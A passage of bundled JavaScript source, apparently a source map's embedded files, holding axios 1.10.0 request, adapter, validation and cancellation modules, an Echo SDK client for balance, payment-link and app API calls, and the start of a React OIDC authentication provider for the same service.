body,\n });\n return (await _request.arrayBuffer()).byteLength;\n }\n\n if(utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n return body.byteLength;\n }\n\n if(utils.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let composedSignal = composeSignals([signal, cancelToken && cancelToken.toAbortSignal()], timeout);\n\n let request;\n\n const unsubscribe = composedSignal && composedSignal.unsubscribe && (() => {\n composedSignal.unsubscribe();\n });\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader)\n }\n\n if (_request.body) {\n const [onProgress, flush] = progressEventDecorator(\n requestContentLength,\n progressEventReducer(asyncDecorator(onUploadProgress))\n );\n\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n }\n }\n\n if (!utils.isString(withCredentials)) {\n withCredentials = withCredentials ? 'include' : 'omit';\n }\n\n // Cloudflare Workers throws when credentials are defined\n // see https://github.com/cloudflare/workerd/issues/902\n const isCredentialsSupported = \"credentials\" in Request.prototype;\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n credentials: isCredentialsSupported ? withCredentials : undefined\n });\n\n let response = await fetch(request, fetchOptions);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || (isStreamResponse && unsubscribe))) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n const [onProgress, flush] = onDownloadProgress && progressEventDecorator(\n responseContentLength,\n progressEventReducer(asyncDecorator(onDownloadProgress), true)\n ) || [];\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onProgress, () => {\n flush && flush();\n unsubscribe && unsubscribe();\n }),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && unsubscribe && unsubscribe();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n })\n })\n } catch (err) {\n unsubscribe && unsubscribe();\n\n if (err && err.name === 'TypeError' && /Load failed|fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n getAdapter: (adapters) => {\n adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n}\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n","export const VERSION = \"1.10.0\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators[type] = function validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\nvalidators.spelling = function spelling(correctSpelling) {\n return (value, opt) => {\n // eslint-disable-next-line no-console\n console.warn(`${opt} is likely a misspelling of ${correctSpelling}`);\n return true;\n }\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nexport default {\n assertOptions,\n validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig || {};\n this.interceptors = {\n request: new InterceptorManager(),\n response: new InterceptorManager()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy = {};\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n }\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n serialize: validators.function\n }, true);\n }\n }\n\n // Set config.allowAbsoluteUrls\n if (config.allowAbsoluteUrls !== undefined) {\n // do nothing\n } else if (this.defaults.allowAbsoluteUrls !== undefined) {\n config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n } else {\n config.allowAbsoluteUrls = true;\n }\n\n validator.assertOptions(config, {\n baseUrl: validators.spelling('baseURL'),\n withXsrfToken: validators.spelling('withXSRFToken')\n }, true);\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n // filter out skipped interceptors\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n return;\n }\n\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n\n let promise;\n let i = 0;\n let len;\n\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), undefined];\n chain.unshift.apply(chain, requestInterceptorChain);\n chain.push.apply(chain, responseInterceptorChain);\n len = chain.length;\n\n promise = Promise.resolve(config);\n\n while (i < len) {\n promise = promise.then(chain[i++], chain[i++]);\n }\n\n return promise;\n }\n\n len = requestInterceptorChain.length;\n\n let newConfig = config;\n\n i = 0;\n\n while (i < len) {\n const onFulfilled = requestInterceptorChain[i++];\n const onRejected = requestInterceptorChain[i++];\n try {\n newConfig = onFulfilled(newConfig);\n } catch (error) {\n onRejected.call(this, error);\n break;\n }\n }\n\n try {\n promise = dispatchRequest.call(this, newConfig);\n } catch (error) {\n return Promise.reject(error);\n }\n\n i = 0;\n len = responseInterceptorChain.length;\n\n while (i < len) {\n promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n }\n\n return promise;\n }\n\n getUri(config) {\n config = mergeConfig(this.defaults, config);\n const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\n return buildURL(fullPath, config.params, config.paramsSerializer);\n }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n /*eslint func-names:0*/\n Axios.prototype[method] = function(url, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n url,\n data: (config || {}).data\n }));\n };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n /*eslint func-names:0*/\n\n function generateHTTPMethod(isForm) {\n return function httpMethod(url, data, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n headers: isForm ? {\n 'Content-Type': 'multipart/form-data'\n } : {},\n url,\n data\n }));\n };\n }\n\n Axios.prototype[method] = generateHTTPMethod();\n\n Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","const HttpStatusCode = {\n Continue: 100,\n SwitchingProtocols: 101,\n Processing: 102,\n EarlyHints: 103,\n Ok: 200,\n Created: 201,\n Accepted: 202,\n NonAuthoritativeInformation: 203,\n NoContent: 204,\n ResetContent: 205,\n PartialContent: 206,\n MultiStatus: 207,\n AlreadyReported: 208,\n ImUsed: 226,\n MultipleChoices: 300,\n MovedPermanently: 301,\n Found: 302,\n SeeOther: 303,\n NotModified: 304,\n UseProxy: 305,\n Unused: 306,\n TemporaryRedirect: 307,\n PermanentRedirect: 308,\n BadRequest: 400,\n Unauthorized: 401,\n PaymentRequired: 402,\n Forbidden: 403,\n NotFound: 404,\n MethodNotAllowed: 405,\n NotAcceptable: 406,\n ProxyAuthenticationRequired: 407,\n RequestTimeout: 408,\n Conflict: 409,\n Gone: 410,\n LengthRequired: 411,\n PreconditionFailed: 412,\n PayloadTooLarge: 413,\n UriTooLong: 414,\n UnsupportedMediaType: 415,\n RangeNotSatisfiable: 416,\n ExpectationFailed: 417,\n ImATeapot: 418,\n MisdirectedRequest: 421,\n UnprocessableEntity: 422,\n Locked: 423,\n FailedDependency: 424,\n TooEarly: 425,\n UpgradeRequired: 426,\n PreconditionRequired: 428,\n TooManyRequests: 429,\n RequestHeaderFieldsTooLarge: 431,\n UnavailableForLegalReasons: 451,\n InternalServerError: 500,\n NotImplemented: 501,\n BadGateway: 502,\n ServiceUnavailable: 503,\n GatewayTimeout: 504,\n HttpVersionNotSupported: 505,\n VariantAlsoNegotiates: 506,\n InsufficientStorage: 507,\n LoopDetected: 508,\n NotExtended: 510,\n NetworkAuthenticationRequired: 511,\n};\n\nObject.entries(HttpStatusCode).forEach(([key, value]) => {\n HttpStatusCode[value] = key;\n});\n\nexport default HttpStatusCode;\n","'use strict';\n\nimport utils from './utils.js';\nimport bind from './helpers/bind.js';\nimport Axios from './core/Axios.js';\nimport mergeConfig from './core/mergeConfig.js';\nimport defaults from './defaults/index.js';\nimport formDataToJSON from './helpers/formDataToJSON.js';\nimport CanceledError from './cancel/CanceledError.js';\nimport CancelToken from './cancel/CancelToken.js';\nimport isCancel from './cancel/isCancel.js';\nimport {VERSION} from './env/data.js';\nimport toFormData from './helpers/toFormData.js';\nimport AxiosError from './core/AxiosError.js';\nimport spread from './helpers/spread.js';\nimport isAxiosError from './helpers/isAxiosError.js';\nimport AxiosHeaders from \"./core/AxiosHeaders.js\";\nimport adapters from './adapters/adapters.js';\nimport HttpStatusCode from './helpers/HttpStatusCode.js';\n\n/**\n * Create an instance of Axios\n *\n * @param {Object} defaultConfig The default config for the instance\n *\n * @returns {Axios} A new instance of Axios\n */\nfunction createInstance(defaultConfig) {\n const context = new Axios(defaultConfig);\n const instance = bind(Axios.prototype.request, context);\n\n // Copy axios.prototype to instance\n utils.extend(instance, Axios.prototype, context, {allOwnKeys: true});\n\n // Copy context to instance\n utils.extend(instance, context, null, {allOwnKeys: true});\n\n // Factory for creating new instances\n instance.create = function create(instanceConfig) {\n return createInstance(mergeConfig(defaultConfig, instanceConfig));\n };\n\n return instance;\n}\n\n// Create the default instance to be exported\nconst axios = createInstance(defaults);\n\n// Expose Axios class to allow class inheritance\naxios.Axios = Axios;\n\n// Expose Cancel & CancelToken\naxios.CanceledError = CanceledError;\naxios.CancelToken = CancelToken;\naxios.isCancel = isCancel;\naxios.VERSION = VERSION;\naxios.toFormData = toFormData;\n\n// Expose AxiosError class\naxios.AxiosError = AxiosError;\n\n// alias for CanceledError for backward compatibility\naxios.Cancel = axios.CanceledError;\n\n// Expose all/spread\naxios.all = function all(promises) {\n return Promise.all(promises);\n};\n\naxios.spread = spread;\n\n// Expose isAxiosError\naxios.isAxiosError = isAxiosError;\n\n// Expose mergeConfig\naxios.mergeConfig = mergeConfig;\n\naxios.AxiosHeaders = AxiosHeaders;\n\naxios.formToJSON = thing => formDataToJSON(utils.isHTMLForm(thing) ? new FormData(thing) : thing);\n\naxios.getAdapter = adapters.getAdapter;\n\naxios.HttpStatusCode = HttpStatusCode;\n\naxios.default = axios;\n\n// this module should only have a default export\nexport default axios\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n constructor(executor) {\n if (typeof executor !== 'function') {\n throw new TypeError('executor must be a function.');\n }\n\n let resolvePromise;\n\n this.promise = new Promise(function promiseExecutor(resolve) {\n resolvePromise = resolve;\n });\n\n const token = this;\n\n // eslint-disable-next-line func-names\n this.promise.then(cancel => {\n if (!token._listeners) return;\n\n let i = token._listeners.length;\n\n while (i-- > 0) {\n token._listeners[i](cancel);\n }\n token._listeners = null;\n });\n\n // eslint-disable-next-line func-names\n this.promise.then = onfulfilled => {\n let _resolve;\n // eslint-disable-next-line func-names\n const promise = new Promise(resolve => {\n token.subscribe(resolve);\n _resolve = resolve;\n }).then(onfulfilled);\n\n promise.cancel = function reject() {\n token.unsubscribe(_resolve);\n };\n\n return promise;\n };\n\n executor(function cancel(message, config, request) {\n if (token.reason) {\n // Cancellation has already been requested\n return;\n }\n\n token.reason = new CanceledError(message, config, request);\n resolvePromise(token.reason);\n });\n }\n\n /**\n * Throws a `CanceledError` if cancellation has been requested.\n */\n throwIfRequested() {\n if (this.reason) {\n throw this.reason;\n }\n }\n\n /**\n * Subscribe to the cancel signal\n */\n\n subscribe(listener) {\n if (this.reason) {\n listener(this.reason);\n return;\n }\n\n if (this._listeners) {\n this._listeners.push(listener);\n } else {\n this._listeners = [listener];\n }\n }\n\n /**\n * Unsubscribe from the cancel signal\n */\n\n unsubscribe(listener) {\n if (!this._listeners) {\n return;\n }\n const index = this._listeners.indexOf(listener);\n if (index !== -1) {\n this._listeners.splice(index, 1);\n }\n }\n\n toAbortSignal() {\n const controller = new AbortController();\n\n const abort = (err) => {\n controller.abort(err);\n };\n\n this.subscribe(abort);\n\n controller.signal.unsubscribe = () => this.unsubscribe(abort);\n\n return controller.signal;\n }\n\n /**\n * Returns an object that contains a new `CancelToken` and a function that, when called,\n * cancels the `CancelToken`.\n */\n static source() {\n let cancel;\n const token = new CancelToken(function executor(c) {\n cancel = c;\n });\n return {\n token,\n cancel\n };\n }\n}\n\nexport default CancelToken;\n","'use strict';\n\n/**\n * Syntactic sugar for invoking a function and expanding an array for arguments.\n *\n * Common use case would be to use `Function.prototype.apply`.\n *\n * ```js\n * function f(x, y, z) {}\n * var args = [1, 2, 3];\n * f.apply(null, args);\n * ```\n *\n * With `spread` this example can be re-written.\n *\n * ```js\n * spread(function(x, y, z) {})([1, 2, 3]);\n * ```\n *\n * @param {Function} callback\n *\n * @returns {Function}\n */\nexport default function spread(callback) {\n return function wrap(arr) {\n return callback.apply(null, arr);\n };\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n/**\n * Determines whether the payload is an error thrown by Axios\n *\n * @param {*} payload The value to test\n *\n * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false\n */\nexport default function isAxiosError(payload) {\n return utils.isObject(payload) && (payload.isAxiosError === true);\n}\n","import axios from './lib/axios.js';\n\n// This module is intended to unwrap Axios default export as named.\n// Keep top-level export same with static properties\n// so that it can keep same with es module or cjs\nconst {\n Axios,\n AxiosError,\n CanceledError,\n isCancel,\n CancelToken,\n VERSION,\n all,\n Cancel,\n isAxiosError,\n spread,\n toFormData,\n AxiosHeaders,\n HttpStatusCode,\n formToJSON,\n getAdapter,\n mergeConfig\n} = axios;\n\nexport {\n axios as default,\n Axios,\n AxiosError,\n CanceledError,\n isCancel,\n CancelToken,\n VERSION,\n all,\n Cancel,\n isAxiosError,\n spread,\n toFormData,\n AxiosHeaders,\n HttpStatusCode,\n formToJSON,\n getAdapter,\n mergeConfig\n}\n","// src/client.ts\nimport axios from \"axios\";\n\n// src/config.ts\nvar defaultConfig = {\n baseUrl: typeof process !== \"undefined\" && process.env?.ECHO_BASE_URL || \"https://echo.merit.systems\"\n};\nfunction getConfig(overrides) {\n return {\n ...defaultConfig,\n ...overrides\n };\n}\n\n// src/client.ts\nvar EchoClient = class {\n http;\n config;\n constructor(config) {\n this.config = getConfig(config);\n this.http = axios.create({\n baseURL: this.config.baseUrl,\n timeout: 3e4\n });\n this.http.interceptors.request.use(async (config2) => {\n const apiKey = this.config.apiKey || process.env.ECHO_API_KEY;\n if (apiKey) {\n config2.headers[\"Authorization\"] = `Bearer ${apiKey}`;\n }\n return config2;\n });\n this.http.interceptors.response.use(\n (response) => response,\n (error) => {\n if (error.response?.status === 401) {\n throw new Error(\n 'Unauthorized. Invalid or expired API key. Please run \"echo-cli login\" to authenticate.'\n );\n }\n throw error;\n }\n );\n }\n /**\n * Get current balance for the authenticated user across all apps\n */\n async getBalance() {\n try {\n const response = await this.http.get(\"/api/v1/balance\");\n return response.data;\n } catch (error) {\n throw this.handleError(error, \"Failed to fetch balance\");\n }\n }\n /**\n * Get free tier balance for a specific app\n * @param echoAppId The Echo app ID to get free tier balance for\n */\n async getFreeBalance(echoAppId) {\n try {\n const request = { echoAppId };\n const response = await this.http.post(\"/api/v1/balance/free\", request);\n return response.data;\n } catch (error) {\n throw this.handleError(error, \"Failed to fetch free tier balance\");\n }\n }\n /**\n * Create a payment link for purchasing credits\n * @param request Payment link details\n */\n async createPaymentLink(request) {\n try {\n const response = await this.http.post(\n \"/api/v1/stripe/payment-link\",\n request\n );\n return response.data;\n } catch (error) {\n throw this.handleError(error, \"Failed to create payment link\");\n }\n }\n /**\n * Get payment URL for purchasing credits\n * @param amount Amount to purchase in USD\n * @param description Optional description for the payment\n * @param successUrl Optional URL to redirect to after successful payment\n */\n async getPaymentUrl(amount, description, successUrl) {\n const request = {\n amount,\n description: description || \"Echo Credits\"\n };\n if (successUrl) {\n request.successUrl = successUrl;\n }\n const response = await this.createPaymentLink(request);\n return response.paymentLink.url;\n }\n /**\n * Get app URL for a specific Echo app\n * @param appId The Echo app ID\n */\n getAppUrl(appId) {\n return `${this.config.baseUrl}/apps/${appId}`;\n }\n /**\n * List all Echo apps for the authenticated user\n */\n async listEchoApps() {\n try {\n const response = await this.http.get(\"/api/v1/apps\");\n return response.data.apps;\n } catch (error) {\n throw this.handleError(error, \"Failed to fetch Echo apps\");\n }\n }\n /**\n * Get a specific Echo app by ID\n * @param appId The Echo app ID\n */\n async getEchoApp(appId) {\n try {\n const response = await this.http.get(`/api/v1/apps/${appId}`);\n return response.data;\n } catch (error) {\n throw this.handleError(error, \"Failed to fetch Echo app\");\n }\n }\n /**\n * Get current user information\n */\n async getUserInfo() {\n try {\n const response = await this.http.get(\"/api/v1/user\");\n return response.data;\n } catch (error) {\n throw this.handleError(error, \"Failed to fetch user info\");\n }\n }\n /**\n * Get supported models with pricing, limits, and capabilities\n */\n async getSupportedModels() {\n try {\n const response = await this.http.get(\n \"/api/v1/supported-models\"\n );\n return response.data;\n } catch (error) {\n throw this.handleError(error, \"Failed to fetch supported models\");\n }\n }\n /**\n * Get supported models as a flat array\n */\n async listSupportedModels() {\n const response = await this.getSupportedModels();\n return response.models;\n }\n /**\n * Get supported models grouped by provider\n */\n async getSupportedModelsByProvider() {\n const response = await this.getSupportedModels();\n return response.models_by_provider;\n }\n /**\n * Register a referral code for the authenticated user\n * @param echoAppId The Echo app ID to register the referral code for\n * @param code The referral code to register\n */\n async registerReferralCode(echoAppId, code) {\n const request = { echoAppId, code };\n const response = await this.http.post(\"/api/v1/user/referral\", request).catch((error) => {\n throw this.handleError(error, \"Failed to register referral code\");\n });\n return response.data;\n }\n handleError(error, message) {\n if (error.response?.data?.error) {\n return new Error(`${message}: ${error.response.data.error}`);\n }\n if (error.message) {\n return new Error(`${message}: ${error.message}`);\n }\n return new Error(message);\n }\n};\nexport {\n EchoClient,\n defaultConfig,\n getConfig\n};\n//# sourceMappingURL=index.js.map","import React, {\n createContext,\n useState,\n useEffect,\n useCallback,\n ReactNode,\n} from 'react';\nimport {\n UserManager,\n User,\n UserManagerSettings,\n WebStorageStateStore,\n} from 'oidc-client-ts';\nimport { EchoConfig, EchoUser, EchoBalance } from '../types';\nimport { sanitizeUserProfile } from '../utils/security';\nimport { EchoClient } from '@merit-systems/echo-typescript-sdk';\nimport type { Balance, FreeBalance } from '@merit-systems/echo-typescript-sdk';\nimport { useRegisterReferralCode } from '../hooks/useRegisterReferralCode';\n\ninterface EchoOAuthProfile {\n sub?: string;\n user_id?: string;\n id?: string;\n email?: string;\n preferred_username?: string;\n name?: string;\n given_name?: string;\n picture?: string;\n}\n\nexport interface EchoContextValue {\n user: EchoUser | null;\n balance: EchoBalance | null;\n freeTierBalance: FreeBalance | null;\n isAuthenticated: boolean;\n isLoading: boolean;\n error: string | null;\n token: string | null;\n signIn: () => Promise<void>;\n signOut: () => Promise<void>;\n refreshBalance: () => Promise<void>;\n createPaymentLink: (\n amount: number,\n description?: string,\n successUrl?: string\n ) => Promise<string>;\n getToken: () => Promise<string | null>;\n clearAuth: () => Promise<void>;\n}\n\nexport const EchoContext = createContext<EchoContextValue | undefined>(\n undefined\n);\n\ninterface EchoProviderProps {\n config: EchoConfig;\n children: ReactNode;\n}\n\nexport function EchoProvider({ config, children }: EchoProviderProps) {\n const [user, setUser] = useState<EchoUser | null>(null);\n const [balance, setBalance] = useState<EchoBalance | null>(null);\n const [freeTierBalance, setFreeTierBalance] = useState<FreeBalance | null>(\n null\n );\n const [isLoading, setIsLoading] = useState(true);\n const [error, setError] = useState<string | null>(null);\n const [token, setToken] = useState<string | null>(null);\n const [userManager, setUserManager] = useState<UserManager | null>(null);\n const [isClient, setIsClient] = useState(false);\n\n // Handle client-side mounting\n useEffect(() => {\n setIsClient(true);\n }, []);\n\n // Initialize UserManager only on client-side\n useEffect(() => {\n if (!isClient) {\n return;\n }\n\n // Check for existing mock UserManager in tests\n const existingManager = (\n window as typeof window & { __echoUserManager?: UserManager }\n ).__echoUserManager;\n if (existingManager) {\n setUserManager(existingManager);\n return;\n }\n\n const apiUrl = config.apiUrl || 'https://echo.merit.systems';\n const settings: UserManagerSettings = {\n authority: apiUrl,\n client_id: config.appId,\n redirect_uri: config.redirectUri || window.location.origin,\n scope: config.scope || 'llm:invoke offline_access',\n\n // Automatic token renewal configuration\n automaticSilentRenew: true,\n accessTokenExpiringNotificationTimeInSeconds: 60,\n silentRequestTimeoutInSeconds: 10,\n\n // Silent renewal configuration\n silent_redirect_uri: config.redirectUri || window.location.origin,\n includeIdTokenInSilentRenew: false, // Default is false\n validateSubOnSilentRenew: true, // Default is true\n\n // UserInfo endpoint configuration\n loadUserInfo: true,\n\n // Custom OAuth endpoints (non-standard OIDC)\n metadata: {\n authorization_endpoint: `${apiUrl}/api/oauth/authorize`,\n token_endpoint: `${apiUrl}/api/oauth/token`,\n userinfo_endpoint: 